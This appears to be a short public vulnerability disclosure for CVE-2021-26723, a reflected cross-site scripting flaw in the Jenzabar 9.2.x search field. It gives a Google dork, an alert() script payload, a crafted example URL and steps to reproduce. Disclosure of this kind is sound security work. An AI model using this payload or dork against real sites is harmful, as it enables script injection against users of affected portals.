Y0ung-DST / **CVE-2021-26723**

Last active last year



CVE-2021-26723

```
# Exploit Title: Jenzabar 9.2.x through 9.2.2 allows /ics?tool=search&query= XSS.
# Google Dork: Jenzabar – v9.2.0 / v9.2.1 / v9.2.2
# Date: 2021-02-05
# Exploit Author: y0ung_dst
# Vendor Homepage: https://jenzabar.com
# Version: Jenzabar – v9.2.0-v9.2.1-v9.2.2 (and maybe other versions)
# Tested on: Windows 10
# CVE : CVE-2021-26723


-Description:
  A Reflected Cross-site scripting (XSS) vulnerability in Jenzabar v9.2.0 through 9.2.2. Attacker could inject web script or HTML via the q

-Payload used:
  "><script>alert(1)</script>

-Example :
  https://my.example.edu/ics?tool=search&query="><script>alert(1)</script>

-Steps to reproduce:
  1. Open a website that use Jenzabar v9.2.0 through 9.2.2.
  2. In the Search Field, enter anything.
  3. Edit the query by replacing the text with the payload.
  4. Press Enter to trigger the alert.

-MITIGATION:
  Because of still no official patch from vendor, so that possible workaround is not click any suspicious link.
```